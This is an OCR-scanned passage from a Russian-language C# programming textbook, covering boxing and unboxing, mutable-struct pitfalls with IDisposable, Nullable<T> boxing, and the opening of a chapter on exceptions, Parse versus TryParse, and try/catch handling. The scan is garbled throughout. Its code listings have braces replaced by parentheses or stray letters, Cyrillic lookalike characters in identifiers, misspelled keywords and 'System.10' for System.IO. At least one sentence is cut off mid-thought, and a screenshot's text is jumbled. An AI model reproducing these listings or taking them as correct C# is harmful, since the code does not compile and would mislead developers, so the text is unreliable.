Глава? Опциональное удаление объектов Хотя метод Dispose необходимо рано или поздно вызывать для боль- шинства объектов, реализующих интерфейс IDisposable, существует несколько исключений. Например, реактивные расширения для .NET (описываемые в главе 11) дают возможность использовать объекты типа IDisposable, представляющие подписку на поток или событие. При ра- боте с этими расширениями можно вызвать метод Dispose, чтобы отка- заться от подписки, однако некоторые источники событий прекращают существование естественным образом, автоматически закрывая любые подписки. В таком случае в вызове метода Dispose не будет необходи- мости. Подобного рода расширения — достаточно необычное явление. Опу- скать вызовы метода Dispose безопасно лишь в трм случае, когда о до-] пустимости этого явно говорится в документации класса. Упаковка Завершая обсуждение сборки мусора и времени жизни объекта, нам осталось рассмотреть в данной главе еще одну тбму — упаковку. Она представляет собой процесс, дающий возможность ссылаться на зна- чимый тип через переменную типа object. Переменная этого типа спо- собна содержать только ссылку на объект в куче, так каким же образом она может ссылаться, к примеру, на значение типа int? Что произойдет, если запустить код из листинга 7.16? Листинг 7.1 в. Использование значения типа int в качестве объекта типа object class Program { static void Show(object o) { Console.WriteLine(o.ToString()); } static void Main(string[] args) ( int num = 42; Show (num); ) ) 366
Время жизни объекта Метод Show ожидает объект типа object, а я передаю ему локальную переменную num значимого типа int. В такой ситуации C# генериру- ет упаковку, которая, по сути, представляет собой обертку ссылочного типа для значения. Среда CLR способна автоматически предоставить упаковку для любого значимого типа; однако если бы она этого не дела- ла, мы могли бы сами написать код, осуществляющий то же самое — та- кую сделанную вручную упаковку демонстрирует листинг 7.17. Листинг 7.17. Реальная упаковка работает немного не так И Не настоящая упаковка, но дает аналогичный результат. public class Вох<Т> where Т : struct { public readonly T Valued- public Box(T v) { Value = v; I public override string ToString() { return Value.ToString(); I public override bool Equals(object obj) I return Value.Equals(obj); * > public ov/rride int GetHashCode() { return Value.GetHashCode(); I Это достаточно обычный класс, который в качестве своего един- ственного поля содержит один экземпляр значимого типа. Если вы вы- зовете для этой упаковки стандартные члены класса object, то создастся впечатление, что переопределенные методы данного класса вызываются непосредственно для поля. Таким образом, если в листинге 7.16 я пере- дам в качестве аргумента методу Show выражение new Box<int>(num), я тем самым попрошу создать новый экземпляр типа Box<int>, скопиро- вать туда значение переменной num и передать ссылку на эту упаковку методу Show. Когда последний будет вызывать метод ToString, упаковка 367
Глава 7 вызовет ToString поля типа int, то есть программа должна будет выве- сти 42. В том, чтобы записывать код из листинга 7.17, нет необходимости, поскольку упаковку генерирует за нас среда CLR. Она создает в куче объект с копией упаковываемого значения и переадресовывает этому значению вызовы стандартных методов типа object. Помимо этого, сре- да выполнения делает нечто, на что мы не способны. Если запросить у упаковки ее тип, вызвав метод GetType, она возвратит тот же тип, как если бы GetType был вызван для переменной типа int напрямую — я не могу добиться такого же поведения от моего пользовательского класса Вох<Т>, поскольку метод GetType не является виртуальным. Кроме того, так как наряду с упаковкой среда CLR обладает и встроенной возмож- ностью распаковки, она обеспечивает более легкое извлечение значений по сравнению с тем, как это можно было бы сделать вручную. Если у вас есть ссылка типа object, и вы приводи^ ее к типу int, среда CLR выполняет проверку, действительно ли ссылка указывает на упакованное значение данного типа; если это так, она возвращает копию упакованного значения. Таким образом, чтобы получить назад исходное значение, в листинге 7.16 я мог бы написать (int) о внутри метода Show, в то время как при использовании класса из листинга 7.17 для этого по- требовалось бы написать более сложное выражение ((Box<int>) о) .Value. Упаковка автоматически доступна не только для встроенных значи- мых типов, но и для всех структур. Если структура что не по силам коду из листинга 7.17. Упаковку вызывают некоторые неявные преобразования. Подобное, например, происходит в листинге 7.16 — я передал выражение типа int туда, где требовалось выражение типа object, не прибегая к какому- либо явному преобразованию. Существуют также неявные преобразо- вания между типом значения и любым из реализуемых им интерфей- сов. Например, значение типа int можно присвоить переменной типа IComparable<int>, не прибегая к приведению типов. Следствием этого становится создание упаковки, поскольку переменные любого интер- фейсного типа аналогичны переменным типа object в том отношении, что могут содержать только ссылку на некоторый объект в куче. Неявная упаковка иногда вызывает проблемы по одной из двух при- чин. Во-первых, она может легко создать дополнительный объем работы для сборщика мусора. Среда СЦ< не предпринимает никаких попыток 368
Время жизни объекта кэшировать упаковки, поэтому, если вы напишете цикл, выполняющий- ся 100 000 раз, и в нем будет содержаться выражение, использующее не- явное преобразование с упаковкой, в итоге вы сгенерируете 100 000 упа- ковок, которые сборщику мусора потребуется удалить, как любое другое содержимое кучи. Во-вторых, каждая операция упаковки (и распаков- ки) копирует значение, которое может не обеспечить нужную вам се- мантику. Несколько примеров потенциально неожиданного поведения демонстрирует листинг 7.18. Листинг 7.18. Демонстрация «подводных камней» изменяемых структур public struct Disposablevalue : IDisposable private bool _disposedYet; z public void Dispose() I if (!_disposedYet) { Console.WriteLine("Удаление в первый раз"); _disposedYet = true; ч I else { Console.WriteLine("Уже удалена"); I ) / ) л class Program { static void CallDispose(IDisposable o) { o.Dispose() ; I static void Main(string!] args) { var dv = new Disposablevalue(); Console.WriteLine("Передача значимой переменной:"); CallDispose(dv); CallDispose(dv); CallDispose(dv); IDisposable id = dv; 369
Глава? Console.WriteLine("Передача интерфейсной переменной:"); CallDispose(id); CallDispose(id); CallDispose(id); Console.WriteLine("Вызов метода Dispose для значимой переменной напрямую:"); dv.Dispose(); dv.Dispose(); dv.Dispose(); , } } Структура Disposablevalue реализует рассмотренный нами ранее интерфейс IDisposable. Она отслеживает, была она уже удалена или нет. Программа содержит метод, который вызы^ет метод Dispose для любого экземпляра типа IDisposable. Она объявляет одну переменную Disposablevalue и три раза передает ее методу CallDispose. Эта часть программы генерирует следующий вывод: Передача значимой переменной: Удаление в первый раз Удаление в первый раз Удаление в первый раз В каждом из трех случаев структура считает, что метод Dispose вы- зывается для нее в первый раз. Причиной этого является то, что каж- дый вызов метода CallDispose создает новую упаковку — всякий раз мы в действительности передаем не переменную dv, а ее упакованную копию; таким образом, метод CallDispose все время имеет дело с новым экземпляром структуры. Это согласуется с тем, как обычно работают значимые типы — даже когда они передаются в качестве аргументов, бу- дучи неупакованными, в результате передается их копия (если только при этом не используется ключевое слово ref). Следующая часть программы приводит к генерированию только одной упаковки — она присваивает значение переменной dv другой ло- кальной переменной типа IDisposable. При этом используется то же неявное преобразование, которое мы применяли, когда передавали переменную в качестве аргумента напря- мую. Таким образом создаётся еще одна упаковка, но только однажды; за- тем мы три раза подряд передаем в метод одну и ту же ссылку на данную конкретную упаковку. 370
Время жизни объекта Это объясняет, почему вывод, генерируемый второй частью програм- мы, выглядит иначе: - —- Передача интерфейсной переменной: Удаление в первый раз Уже удалена Уже удалена В каждом из этих трех вызовов метода CallDispose используется одна и та же упаковка с экземпляром нашей структуры, потому после первого вызова она уже помнит, что была удалена. Наконец, программа вызывает метод Dispose для локальной переменной напрямую и выдает в результате следующий вывод: Вызов метода Dispose для значимой переменной напрямую: Удаление в первый раз Уже удалена Уже удалена Здесь вообще не используется упаковка, и мы модифицируем со- стояние локальной переменной. Кому-то на первый взгляд получен- ный результат может показаться неожиданным — мы уже передавали переменную dv методу, который вызывает Dispose для своего аргумента, и представляется странным тот факт, что эта переменная считает, будто она не была удалена в первый раз. Однако как только вы поймете, что метод CallDispose требует ссылку, и потому не может использовать зна- чение напрямую, вам станет ясно, что каждый вызов метода Dispose, вы- полнявшийся до этого момента, работал с некоторой упакованной копи- ей, а не с локальной переменной. (Очевидно, если бы мы снова передали переменную dv в качестве аргумента методу CallDispose, мы получили бы ответ, что она уже удалена. Этот вызов сгенерировал бы еще одну упакованную копию, но тогда мы бы скопировали значение, уже нахо- дящееся в удаленном состоянии.) Как только вы разберетесь, как это происходит, данное поведение не будет представлять для вас ничего сложного; нужно лишь помнить, что вы имеете дело со значимым типом, и понимать, когда упаковка приво- дит к неявному копированию. Это является одной из причин, почему компания Microsoft не рекомендует разработчикам создавать значимые типы, способные изменять свое состояние — если значение не может из- меняться, то не будет изменяться и упакованное значение данного типа. Благодаря этому уже не так важно, работаете ли вы с исходным значе- 371
Глава? нием или с упакованной копией, и меньше вероятность возникновения путаницы. В ранних версиях .NET упаковка была намного более частым явле^ нием. До введения обобщений в .NET 2.0 все классы коллекций работа* ли в терминах типа object, поэтому, если, к примеру, требовался изме- няемой длины список целых чисел, создавались упаковки для каждого значения типа int в списке. Обобщенные классы коллекций не прибе- гают к упаковке — тип List<int> позволяет сохранять неупакованные значения напрямую. Упаковка типа №11аЫе<Т> В главе 3 мы рассмотрели тип Nullable<T>, обертку, которая наделяет любой значимый тип поддержкой значения null. Как вы, возможно, пом- ните, для использования этого типа в C# можно прйменять специальный синтаксис — знак вопроса после имени значимого типа; то есть вместо Nullable<int> обычно записывается int?. Среда CLR предлагает специ- альную поддержку для типа Nullable<int>, когда дело касается упаковки. Тип Nullable<T> является значимым, поэтому, если вы попытаетесь получить ссылку на значение этого типа, компилятор сгенерирует код, пытающийся его упаковать, как он сделал бы для любого другого значи- мого типа. Однако на этапе выполнения среда CLR не генерирует упаков- ку с копией значения типа Nullable<T>. Вместо этого она проверяет, не на- ходится ли данное значение в нулевом состоянии (то есть не возвращает ли его свойство HasValue значение false), и если это оказывается так, она просто возвращает значение null. В противном случае она упаковывает вложенное значение. Например, если объект типа Nullable<int> содер- жит значение, то будет получена упаковка значения типа int, ничем не отличающаяся от упаковки, полученной из обычного значения типа int. Упакованное значение типа int можно распаковать в переменную типов int? или int. Поэтому в листинге 7.19 будут успешно выполнены все три операции распаковки. Аналогично программа поступит и в том случае, если мы модифицируем первую строку, чтобы инициализация переменной boxed выполнялась значением типа Nullable<int>, находя- щимся в ненулевом состоянии. (Если проинициализировать перемен- ную boxed значением типа Nullable<int> в нулевом состоянии, это будет равносильно ее инициализации значением null. В таком случае послед- няя строка примера выбросит исключение NullReferenceException.) 372
Время жизни объекта Листинг 7.19. Распаковка значения int в переменные, допускающие и не допускающие значение null object boxed = 42; int? nv = boxed as int?; mt? nv2 = (int?) boxed; int v = (int) boxed; Эта возможность обеспечивается не только компилятором, но и сре- дой выполнения. Инструкция box языка IL, которую компилятор C# генерирует, когда ему нужно упаковать значение, распознает значения типа Nullable<T>; инструкции unbox и unbox.any языка IL могут выдать значение типа Nullable<T>, получив значение null или ссылку на упако- ванное значение нижележащего типа. Таким образом, если бы вы созда- ли собственный оберточный тип, внешне сходный с Nullable<T>, он вел бы себя иначе; если б вы присвоили значение такого типа объекту типа object, он бы упаковал вашу обертку точно так же, как любое другое зна- чение. Тип Nullable<T> ведет себя по-другому лишь потому, что среда CLR обращается с ним особым образом. Резюме В данной главе я рассказал о куче, которую предоставляет среда вы- полнения. Мы рассмотрели стратегию, используемую средой CLR, что- бы установить, какие объекты кучи остаются достижимыми для кода, а также основанный на поколениях механизм, с помощью которого среда освобождает ij/мять от уже неиспользуемых объектов. Сборщик мусора не обладает даром ясновидения, потому, если ваша программа оставляет объект достижимым, сборщик исходит из предположения, что вы може- те использовать данный объект в дальнейшем. Это означает, что иногда нужно соблюдать осторожность, чтобы, не желая того, не создать утечки памяти из-за слишком долгого удерживания объектов. Мы рассмотре- ли механизм финализации и связанные с ним ограничения и проблемы производительности, а также интерфейс IDisposable, использование которого является предпочтительным способом освобождения других ресурсов, помимо памяти. Наконец, я показал, как, благодаря упаковке, значимые типы могут выступать в качестве ссылочных типов. В следую- щей главе я продемонстрирую, как в C# представлены механизмы об- работки ошибок среды CLR.
Глава 8 ИСКЛЮЧЕНИЯ ; Иногда выполнение операций заканчивается неудачей. Если про- грамма выполняет чтение данных из файла, сохраненного на внешнем накопителе, кто-то может отсоединить этот накопитель. Попытавшись создать экземпляр массива, приложение вдруг обнаружит, что система обладает недостаточным объемом свободной памяти.уНестабильность беспроводного соединения способна привести к неудачному заверше- нию сетевых запросов. Один из широко используемых способов, по- зволяющих программе выявлять подобные отказы, состоит в том, чтобы обеспечить возвращение каждым API-интерфейсом значения, указы- вающего, была ли операция успешной. Это требует от разработчиков i неусыпно следить за тем, чтобы не была упущена из виду ни одна из воз- можных ошибок, поскольку программа должна проверять возвращаемое значение каждой операции. Хотя это вполне жизнеспособная стратегия, она может сделать код менее ясным; логическая последовательность работы в отсутствие каких-либо проблем становится обремененной не- обходимостью выполнять множество проверок на наличие ошибок, что усложняет сопровождение кода. C# поддерживает популярный меха- низм обработки ошибок, который позволяет избежать такой пробле- мы — исключения. Когда API-интерфейс сообщает об ошибке с помощью исключения, это прерывает обычный поток выполнения с переходом прямо к бли- жайшему подходящему коду обработки ошибок, что позволяет в не- которой степени отделить логику обработки ошибок от кода, предна- значенного для выполнения поставленной задачи. Это, в свою очередь, облегчает чтение и сопровождение кода, хотя в то же время обладает тем недостатком, что затрудняет выявление всех возможных способов выполнения кода. Исключения также позволяет сообщить о проблемах с выполнени- ем операций в тех случаях, где использование возвращаемого кода было бы непрактичным. Например, среда CLR способна выявить проблемы с выполнением базовых операций, даже таких простых, как использо- 374
Исключения вание ссылки, и сообщить о них. Переменные ссылочных типов могут содержать значение null, и если попытаться вызвать метод для ссылки назначение null, его выполнение закончится неудачей. Среда сообщит об этом с помощью исключения. В .NET большинство ошибок представлено как исключения. Однако некоторые API-интерфейсы предоставляют выбор между возвращаемы- ми кодами и исключениями. Например, тип int обладает методом Parse, который принимает строку и пытается интерпретировать ее содержимое как число. Если передать этому методу нечисловой текст (например, "Привет”), он сообщит об ошибке, выбросив исключение FormatException. Если вам это не нравится, вы можете использовать метод TryParse, кото- рый делает в точности то же самое, но с одним отличием: в случае не- числового входного значения он не выбрасывает исключение, а просто возвращает значение false. (Поскольку возвращаемое значение этого метода сообщает об успешности или неуспешное™ его выполнения, це- лочисленный результат он возвращает через параметр out.) Преобразова- ние строк в числа является не единственной операцией, использующей этот шаблон, в котором два метода (в данном случае Parse и TryParse) предоставляют выбор между исключениями и возвращаемыми значе- ниями. Как вы видели в главе 5, аналогичный выбор дают словари. При использовании ключа, не содержащегося в словаре, индексатор выбра- сывает исключение, однако значения также можно извлекать с помощью метода TryGetValue, который совершенно так же, как TryParse, в случае неудачи возвращает значение false. Данный шаблон используется лишь в некоторых A^I-интерфейсах; для большинства API-интерфейсов ис- ключения являются единственным доступным вариантом. Если вы разрабатываете API-интерфейс, использование которого может закончиться неудачей, как об этом следует сообщить? Долж- ны ли вы использовать исключения, возвращаемое значение или и то, и другое? Рекомендации по разработке библиотек классов от компании Microsoft дают на этот счет, казалось бы, недвусмысленные указания: Не возвращайте коды ошибок. Исключения являются первичным средством сообщения об ошибках в .NETFramework. Однако как это сообразуется с существованием метода int. TryParse? Данное руководство содержит раздел, касающийся вопросов производи- тельности при использовании исключений, где говорится следующее: 375
Глава 8 Во избежание проблем производительности, связанных с исключе- ниями, используйте шаблон Try Parse для членов, которые могут ге- нерировать исключения в распространенных сценариях. Неудачное завершение преобразования строки в число не обяза- тельно является ошибкой. Например, в своем приложении вы можете предоставить возможность указывать месяц как число или как текст. При этом определенно будут существовать распространенные сценарии, в которых выполнение операции может закончиться неудачей, однако руководство содержит еще один критерий: шаблон TryParse следует использовать только в том случае, если операция является достаточно быстрой в сравнении с временем, затрачиваемым на выбрасывание и об- работку исключения. Обычно выбрасывание и обработка исключений занимает доли мил- лисекунды, то есть нельзя сказать, что они являютвй очень уж медлен- ными — чтение данных с диска, к примеру, выполняется гораздо доль- ше, — однако их нельзя назвать и очень быстрыми. Я обнаружил, что на моем компьютере один поток выполняет преобразование пятизнач- ных чисел из строкового представления в числовое со скоростью около 10 миллионов строк в секунду и отбрасывает нечисловые строки при использовании метода TryParse примерно с той же скоростью. Метод Parse преобразует строки в числа так же быстро, но из-за связанных с ис- ключениями затрат отбрасывает нечисловые строки примерно в 400 раз медленнее, чем TryParse. Исключения показывают себя настолько пло- хо по той причине, что преобразование строк в числа является достаточ- но быстрой операцией; именно поэтому шаблон TryParse наиболее часто используется для быстрых по своей природе операций. Исключения могут быть особенно медленными при выпол- и*!’ 4 • нении отладки. Причиной отчасти является то, что отладчику — V*’ приходится решать, в каком месте ему следует вмешаться, но особенно ярко это выражается в случае первого необра- ботанного исключения, встреченного программой в отладчи- ке среды Visual Studio. При этом создается впечатление, что исключения требуют гораздо больших затрат, чем есть на са- мом деле. Приведенные в предыдущем абзаце цифры были получены путем наблюдения за работой среды выполнения при отсутствии затрат на отладку. С другой стороны, эти циф- ры немного недооценивают затраты, поскольку при обработ- ке исключения среде CLR, как правило, приходится запускать 376
Исключения фрагменты кода и обращаться к структурам данных, которые ей не пришлось бы использовать в противном случае, что мо- жет приводить к удалению полезных данных из кэша процес- сора. Это заставляет код выполняться медленнее в течение короткого промежутка времени после обработки исключе- ния — до тех пор, пока удаленные из кэша код и данные не будут туда возвращены. Большинство API-интерфейсов не предлагает метод вида ТгуХхх и со- общает обо всех ошибках с помощью исключений даже в случае распро- страненного сценария ошибки. Например, файловые API-интерфейсы не имеют способа для открытия существующего файла для чтения без выбрасывания исключения в случае отсутствия файла. (Хотя вы можете^ сначала убедиться в наличии файла, используя другой API-интерфейс, это не дает гарантии относительно успешного завершения операции. Всегда существует вероятность того, что в промежутке времени между моментом, когда вы убедитесь в наличии файла, и попыткой открытия его удалит некоторый другой процесс.) Поскольку операции файловой системы по своей природе являются медленными, шаблон вида ТгуХхх не обеспечил бы здесь существенного улучшения производительности, даже несмотря на то что его применение могло бы иметь смысл с логи- ческой точки зрения. Источники исключений / Источником исключений бывают не только API-интерфейсы би- блиотеки классов. Исключения могут выбрасываться в любом из сле- дующих сценариев: • ваша программа использует API-интерфейс библиотеки классов, ко- торый выявляет проблему; • ваш собственный код выявляет проблему; • среда выполнения выявляет неудачное завершение операции (на- пример, арифметическое переполнение в проверяемом контексте, попытку использовать ссылку на значение null или разместить в па- мяти объект, для которого недостаточно свободного пространства); • среда выполнения распознает ситуацию, находящуюся вне вашего контроля и влияющую на ваш код (например, выполнение вашего потока прерывается в результате завершения работы приложения). 377
Глава 8 Во всех перечисленных сценариях используются одни и те же меха- низмы обработки исключений, однако они при этом появляются в раз- ных местах. В следующих разделах мы рассмотрим, где следует ожидать каждую разновидность. i Исключения от API-интерфейсов I В случае вызова API-интерфейса существует несколько категорий проблем, результатом которых становится исключение. Вы можете пре- доставить аргументы, которые не будут иметь смысла, например, ссыл- ку на значение null там, где она недопустима, или пустую строку, где ожидается имя файла. Также возможно, что аргументы будут вполне нормально выглядеть по отдельности, но не вместе взятые. Например, вызвав API-интерфейс, осуществляющий копирование данных в массив, вы мойсете запросить копирование большего объема, чем последний способен вместить. Это ошибки из разряда «никогда не заработает», как правило, они являются следствием ошибок в коде. Немного иная категория проблем связана с ситуациями, когда ар- гументы не вызывают нареканий, но тем не менее операция оказывает- ся невыпдлнимой из-за текущего состояния окружения.. Например, вы можете потребовать открыть некоторый отсутствующий файл; или, воз- можно, файл существует, но уже открыт другой программой в режиме монопольного доступа. Еще одну разновидность проблем представляют ситуации, когда вы- полнение операции начинается нормально, но затем условия меняются. Так, например, можно успешно открыть файл и в течение некоторого времени читать данные из него, но затем обнаружить, что он стал не- доступным — по той, например, причине, что кто-то отсоединил диско- вый накопитель или тот вышел из строя из-за перегрева либо просто от старости. Еще одну разновидность проблем привносит асинхронное програм- мирование. В главах 17 и 18 мы рассмотрим множество асинхронных API-интерфейсов, которые позволяют продолжать работу после того, как запустивший ее метод возвратит управление. Работа, которая вы- полняется асинхронно, способна давать и асинхронные сбои, в случае чего библиотека, вероятно, сможет сообщить об ошибке лишь после 378
Исключения того, как ваш код вызовет ее снова. Несмотря на все различия, в каждом из этих случаев исключение исходит от некоторого вызываемого вашим кодом API-интерфейса. (Даже в случае асинхронных ошибок исключе- ния возникают либо когда вы пытаетесь получить результат операции, либо когда делаете явный запрос, произошла ли ошибка.) В листинге 8.1 представлен пример кода, при выполнении которого может возникнуть исключение подобного рода. Листинг 8.1. Получение исключения от библиотечного вызова static void Main (string!] args) using (var r = new StreamReader(@"C:\Temp\File.txt")) { while (Jr.EndOfStream) { Console.WriteLine(r.ReadLine()); } ) } В этой программе нет ничего категорически неправильного, поэтому мы не получим никаких исключений с жалобой на явно некорректные аргументы. Если диск Су вашего компьютера содержит папку Тетр, в ней есть файл File.txt, запустивший программу пользователь обладает разре- шением на его чтение, файл не открыт другой программой в режиме монопольного доступа, нет никаких старых проблем (таких как по- вреждение диска), которые могли бы сделать какую-либо часть файла недоступной, и во время выполнения программы не появилось никаких новых проблем (таких как возгорание накопителя), то данный код сра- ботает вполне нормально: он выведет все содержащиеся в файле строки текста. Однако, как мы видим, для этого должно сойтись очень много условий. В случае отсутствия файла по указанному адресу конструктор клас- са StreamReader не выполнится до конца; вместо этого он выбросит ис- ключение. Поскольку программа не предпринимает никаких попыток обработать исключение, ее выполнение будет прервано. Если вы запу- стите ее, не используя отладчик среды разработки Visual Studio, вы уви- дите следующий вывод: 379
Глава 8 Unhandled Exception: System.10.FileNotFoundException: Could not find file * C:\Temp\File.txt *. at System. 10._Error.WinlOError (Int32 errorCode, String maybeFullPath) at System. 10.FileStream.Init(String path, FileMode mode, FileAccess access, Int32 rights, Boolean useRights, FileShare share, Int32 bufferSize, FileOptions options, SECURITY-ATTRIBUTES secAttrs, String msgPath, Boolean bFromProxy, Boolean useLongPath, Boolean checkHost) at System. 10.FileStream. .ctor(String path, FileMode mode, FileAccess access, FileShare share, Int32 buffersize, FileOptions options, String msgPath, Boolean bFromProxy, Boolean useLongPath, Boolean checkHost) at System.10.StreamReader..ctor(String path, Encoding encoding, Boolean de tectEncodingFromByteOrderMarks, Int32 bufferSize, Boolean checkHost) at System.10.StreamReader..ctor(String path) at TopLevelFailure. Program.Main (String [] args) in e:\Demo\Ch08\Examplel\ Program.es:line 12 (Необработанное исключение: System.10.FileNotFoundException: Файл 'C:\ Temp\File.txt' не найден. f в System.10.___Error.WinlOError(Int32 errorCode, String maybeFullPath) в System.10.FileStream.Init(String path, FileMode mode, FileAccess access, Int32 rights, Boolean useRights, FileShare share, Int32 bufferSize, FileOptions options, SECURITY_ATTRIBUTES secAttrs, String msgPath, Booleai. bFromProxy, Boolean useLongPath, Boolean checkHost) в System.10.FileStream..ctor(String path, FileMode mode, FileAccess ж access, FileShare share, Int32 bufferSize, FileOptions^options, String msgPath, Boolean bFromProxy, Boolean useLongPath, Boolean checkHost) в System.10.StreamReader..ctor(String path, Encoding encoding, Boolean det ectEncodingFromByteOrderMarks, Int32 bufferSize, Boolean checkHost) в System.10.StreamReader..ctor(String path) в TopLevelFailure.Program.Main(String!] args) в e:\Demo\Ch08\Examplel\ Program.es:строка 12) Это сообщение о том, какая ошибка произошла, а также все содер- жимое стека вызовов программы в момент возникновения ошибки. Операционная система Windows также выведет свое диалоговое окно отчета об ошибке, а если к тому же ваш компьютер будет настроен со- ответствующим образом, то и сообщит в службу отчетов об ошибках компании Microsoft. Если вы запустите данную программу в отладчике среды разработки Visual Studio, то, как показывает рис. 8.1, отладчик со- общит вам об исключении, выделив при этом строку, в которой произо- шла ошибка. 380
Исключения То, что мы здесь видим, является поведением по умолчанию, когда программа не предпринимает никаких^действий по обработке исключе- ний: если к процессу прикреплен отладчик, в дело вмешается он, если же нет, то просто произойдет аварийное завершение работы программы. Вскоре я покажу, как выполняется обработка исключений, однако пока следует сделать вывод, что их нельзя игнорировать. Кстати, следует сказать, что в листинге 8.1 исключение может выбра- сывать не только строка с конструктором класса StreamReader. Данный код несколько раз вызывает метод ReadLine, и любой из этих вызовов способен закончиться сбоем. В общем случае исключение может быть выброшено при обращении к любому члену, даже при простом считыва- нии свойства; однако разработчики библиотек классов обычно стремят- ся свести к минимуму выбрасывание исключений свойствами. Свойство может выбросить исключение в случае ошибки из разряда «никогда не заработает», но, как правило, не в случае ошибки «эта конкретная опера- ция не заработала». Например, в документации говорится, что исполь- зуемое в листинге 8.1 свойство EndOf Stream выбросит исключение, если вы попытаетесь выполнить его чтение после вызова метода Dispose для объекта StreamReader — что является очевидной ошибкой программиро- вания, — однако в случае проблем с чтением файла объект StreamReader выбрасывает исключения только из методов или из конструктора. class Program { static void Main(string[] args) r - new StreamReader(^nc:\Temp\File.txt,T2p (•r.Endofstream) & FBeNotFoundException was unhanded X Could not find file 'C:\Temp\File.txt'. } Troubleshooting tips: When using relative paths, make sure the current directory is correct. a Verify that the file exists in the specified location. | Get general help for this exception. v | Search for more Help Online... I Exception settings: j □ Break when this exception type is thrown | Actions: । View Detail... | Copy exception detail to the clipboard | Open exception settings Рис. 8.1. Сообщение об исключении в среде разработки Visual Studio 381
Глава 8 Исключения от вашего кода Второй потенциальный источник исключений представляет ситуа- ция, когда ваш собственный код выявляет проблему и решает выбросил исключение. Примеры таких ситуаций я приведу чуть позже — пока же лишь опишу, откуда могут исходить исключения, и с этой точки зрения данная разновидность очень сходна с исключениями от библиотекя классов. Она фактически использует для выбрасывания исключений те же механизмы, которые можете применять вы. В случае с собственными исключениями всегда ясно, в каком именно месте кода они возникали: они будут появляться в тех строках кода, где вы явно выбрасываете ис- ключения, и исходить от методов, которые содержат эти строки. Ошибки, выявляемые средой выполнения Третий источник исключений представляет ситуация, когда средан CLR сама выявляет сбой некоторой операции.^Йример метода, где мо- жет произойти такой сбой, демонстрирует листинг 8.2. Как и в примере из рис. 8.1, в этом коде нет ничего неправильного по сути (за исключени- ем, пожалуй, лишь его малополезное™), и он вполне может выполниться без каких-либо проблем. Однако если передать 0 в качестве второго аргу- мента, данный метод попытается выполнить недопустимую операцию. Листинг 8.2. Ошибка, выявляемая средой выполнений static int Divide(int x, int y) { return x / y; I Среда CLR заметит, когда данная операция попытается выполнить деление на ноль, и выбросит исключение DivideByZeroException. Это исключение произведет тот же эффект, что и исключение от вызова API-интерфейса: если программа не предпримет никаких попыток об- работать исключение, произойдет аварийное завершение ее работы или в дело вмешается отладчик. Деление на ноль не всегда является недопустимым. Типы с плавающей запятой поддерживают специальные значения, 3»}' представляющие положительную и отрицательную бесконеч- ность, которые получаются в результате деления положитель- 382
Исключения ного или отрицательного значения" на ноль; если же вы раз- делите ноль на ноль, то получите специальное значение NaN (Not-a-Number). Однако ни один из целочисленных типов не поддерживает эти специальные значения, и потому целочис- ленное деление на ноль — всегда ошибка. Этот же источник исключения представляет ситуация выявления определенных сбоев средой выполнения, однако они возникают не- сколько иначе. Они не обязательно должны быть вызваны непосред- ственными действиями вашего кода в том потоке, где возникло исключе- ние. Эту разновидность иногда называют асинхронными исключениями, и теоретически они могут быть выброшены буквально в любой точке вашего кода, что затрудняет их корректную обработку. Однако такие ис- ключения, как правило, выбрасываются только в действительно ката- строфических ситуациях, часто непосредственно перед прекращением работы программы, потому иметь с ними дело приходится лишь очень специализированному жоду. Я вернусь к этому виду исключений чуть позже. х Таким образом, я описал типичные ситуации, в которых могут вы- брасываться исключения, и вы видели поведение по умолчанию, однако что, если вам нужно, чтобы вместо аварийного завершения работы про- фамма делала что-то другое? / / Обработка исключений Когда выбрасывается исключение, среда CLR ищет код для его об- работки. Поведение обработки исключения по умолчанию вступает в игру лишь в том случае, если не будет найден ни один подходящий обработчик после просмотра всего стека вызовов. Для предоставления обработчика в C# используются ключевые слова try и catch, как пока- зано в листинге 8.3. Листинг 8.3. Обработка исключения try { using (StreamReader г = new StreamReader (@"C:\Temp\File.txt")) while (Ir.EndOfStream) 383
Console.WriteLine(r.ReadLine()); ) } } catch (FileNotFoundException) ( Console.WriteLine("Файл не найден"); ) Блок, расположенный сразу после ключевого слова try, обычном зывают блоком try, и если программа выбрасывает исключение во вр мя выполнения такого блока, среда CLR ищет соответствующие бла catch. В данном примере используется только один блок catch, и, к указано в круглых скобках после ключевого слова catch, он предназн чен для обработки исключений типа FileNotFoundException. Ранее мы видели, что в случае отсутствия файла по адресу С:\Тепц File.txt конструктор класса StreamReader выбрасывает исключен! FileNotFoundException. В случае листинга 8.1 это приводило к авари ному завершению работы программы, однако поскольку листинг 8.3 о держит блок catch для обработки этого исключения, в данном случ среда CLR выполнит блок catch. Поскольку далее она будет считать» ключение обработанным, она не произведет аварийного завершения р боты программы. В своем блоке catch мы можем делать все, что угоди и в данном случае мы просто выводим сообщение о том, файл не бь найден. Обработчики исключений не обязательно должны находиться в тс же методе, где возникло исключение. Среда CLR будет просматарива стек, пока не найдет подходящий обработчик. Наш блок catch в листа ге 8.3 оказался бы выполнен и в том случае, если б выбросивший и ключение конструктор класса StreamReader находился в каком-нибу) другом методе, который был бы вызван из блока try (если, конечно, эт< метод не предоставляет собственный обработчик того же исключения Объекты исключений Исключения являются объектами с типом, производным от базов го класса Exception, в данном классе определены свойства, предоста ляющие информацию об исключении, и некоторые производные тип 384
Исключения добавляют к этому свойства, специфичные для описываемой ими про- блемы*. Если блоку catch требуетсяТшформация о проблеме, он может получить ссылку на объект исключения. Листинг 8.4 демонстрирует мо- дифицированную версию блока catch из листинга 8.3. Помимо типа ис- ключения, в круглых скобках после ключевого слова catch также указы- вается идентификатор (х), с помощью которого мы можем ссылаться на объект исключения. Это позволяет нам считать специфичное для класса FileNotFoundException свойство FileName. Листинг 8.4. Использование исключения в блоке catch try ... тот же код, что в листинге 8.3 ... catch (FileNotFoundException х) ( Console.WriteLine("Файл '{0}’ не найден", х.FileName); Этот код выведет имя ненайденного файла. В данном простом при- мере нам заранее известно, какой файл мы пытаемся открыть, однако в более сложной программе, имеющей дело с множеством файлов, дан- ное свойство, безусловно, будет гораздо полезнее. В числс^пределенных в базовом классе Exception универсальных членов входит свойство Message, которое возвращает строку с тексто- вым описанием проблемы. Обработчик исключений по умолчанию для консольных приложений выводит этот текст; то есть сообщение "Файл 'C:\Temp\File. txt' не найден", которое мы видели, когда в первый раз запустили код из листинга 8.1, было взято из свойства Message. Данное свойство представляет важность при диагностике неожиданных исклю- чений. * Строго говоря, среда CLR допускает использование в качестве исключения объ- екта любого типа. Однако C# позволяет выбрасывать только объекты исключений с типом, производным от класса Exception. Хотя некоторые языки дают возможность выбрасывать объекты исключений других типов, здесь это крайне не рекомендует- ся. C# позволяет обрабатывать 